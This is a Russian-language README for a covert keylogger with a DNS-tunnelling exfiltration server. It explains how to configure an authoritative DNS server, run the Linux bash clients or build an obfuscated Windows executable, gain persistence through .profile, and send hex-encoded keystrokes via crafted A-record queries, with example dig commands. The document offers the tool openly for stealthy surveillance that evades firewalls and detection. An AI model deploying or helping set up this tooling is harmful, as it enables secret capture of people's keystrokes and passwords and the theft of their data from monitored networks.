
Сервер и клиент кейлоггера, использующие DNS-туннелирование/экфильтрацию для передачи нажатий клавиш через межсетевые экраны.
Этот постинсталляционный кейлоггер незаметно пересылает нажатия клавиш на сервер.
Эти инструменты отлично подходят для лёгкой передачи данных и обеспечения устойчивости, что предотвращает их обнаружение. Для обхода файрволов и избежания обнаружения используется DNS-туннелирование/эксфильтрация.
Сервер использует python3.
Чтобы установить зависимости, выполните python3 -m pip install -r requirements.txt
Чтобы запустить сервер, выполните python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
По умолчанию сервер слушает UDP-порт 53. Для указания другого порта используйте флаг -p.
ip — IP-адрес сервера. Он используется в записях SOA и NS, которые позволяют другим серверам имён находить этот сервер.
domain — домен, который ожидается; сервер должен быть авторитетным для этого домена.
В панели регистратора вам нужно изменить пространство имён вашего домена на пользовательские DNS.
Укажите два домена: ns1.example.com и ns2.example.com.

Добавьте записи, которые указывают домены пространства имён на IP-адрес вашего сервера эксфильтрации.

Это равносильно настройке glue records.
Кейлоггер для Linux состоит из двух bash-скриптов. connection.sh используется скриптом logger.sh для отправки нажатий клавиш на сервер. Если вы хотите передать данные вручную (например, файл), вы можете направить их через конвейер в скрипт connection.sh. Он автоматически установит соединение и отправит данные.
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
Чтобы запустить кейлоггер, выполните команду ./logger.sh [domain] && exit. Это запустит кейлоггер в автоматическом режиме, и все вводимые символы будут отправлены. Команда && exit в конце приведёт к закрытию оболочки при выходе. Без неё при выходе вы вернётесь в оболочку без кейлоггера. Удалите &> /dev/null, чтобы отображать сообщения об ошибках.
Параметр -p указывает расположение временного файла журнала, в который записываются все вводимые данные. По умолчанию это /tmp/.
Параметр -l включает отображение предупреждений и ошибок. Полезен для отладки.
logger.sh и connection.sh должны находиться в одной директории, чтобы кейлоггер работал. Для обеспечения устойчивости добавьте команду в .profile, чтобы он запускался при каждом новом интерактивном сеансе.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
Для сборки программы-кейлоггера выполните make в каталоге windows. Чтобы собрать с уменьшенным размером и некоторой степенью обфускации, укажите цель production. При этом будет создан каталог build, а результат будет помещён в файл logger.exe внутри него. Я тестировал сборку только с MinGW на Windows 10. Если вы попытаетесь использовать g++ на машине не под Windows, скорее всего, получите ошибки сборки, связанные с windows.h.
make production domain=example.com
Вы также можете собрать программу с отладкой, указав цель debug.
make debug domain=example.com
Для обеих целей необходимо указать домен, который слушает сервер.
Вы можете использовать dig для отправки запросов на сервер:
dig @127.0.0.1 a.1.1.1.example.com A +short — отправляет запрос на соединение к серверу на localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short — отправляет тестовое сообщение на localhost.
Замените example.com на домен, который слушает сервер.
Запросы типа A, начинающиеся с a, обозначают начало «соединения». Когда сервер получает их, он отвечает фиктивным незарезервированным IP-адресом, в последнем октете которого содержится идентификатор клиента.
Формат для начала соединения: a.1.1.1.[sld].[tld].
Сервер отвечает IP-адресом в формате: 123.123.123.[id]
Одновременно может быть не более 254 соединений; клиенты никогда не считаются «отключёнными».
Запросы типа A, начинающиеся с b, обозначают отправку эксфильтрованных данных на сервер.
Формат для отправки данных после установки соединения: b.[packet #].[id].[data].[sld].[tld].
Сервер отвечает [code].123.123.123
id — это идентификатор, полученный при соединении. Данные передаются в виде ASCII, закодированном в hex.
code — один из кодов, описанных ниже.
200: OKЕсли клиент отправляет запрос, который обрабатывается нормально, сервер отвечает кодом 200.
201: Malformed Record RequestsЕсли клиент отправляет некорректный запрос записи, сервер отвечает кодом 201.
202: Non-Existant ConnectionsЕсли клиент отправляет пакет данных с id, превышающим количество соединений, сервер отвечает кодом 202.
203: Out of Order PacketsЕсли клиент отправляет пакет с id, не соответствующим ожидаемому, сервер отвечает кодом 203. Клиенты и серверы должны сбросить номера пакетов на 0. Затем клиент может повторно отправить пакет с новым id.
204: Reached Max ConnectionЕсли клиент пытается установить соединение, когда достигнут максимум, сервер отвечает кодом 204.
Клиенты должны полагаться на ответы как на подтверждение получения пакетов. Если ответ не получен, они должны повторно отправить ту же полезную нагрузку.
Файл журнала, содержащий ввод пользователя, включает управляющие символы ASCII, такие как backspace, delete и возврат каретки. Если вы выводите содержимое с помощью, например, cat, следует выбрать соответствующую опцию для отображения управляющих символов, например -v для cat, или открыть файл в текстовом редакторе.
Кейлоггер использует script, поэтому он не будет работать в неинтерактивных оболочках.
По какой-то причине Windows Dns_Query_A всегда отправляет дублирующие запросы. Сервер обработает их корректно, так как отбрасывает повторные пакеты.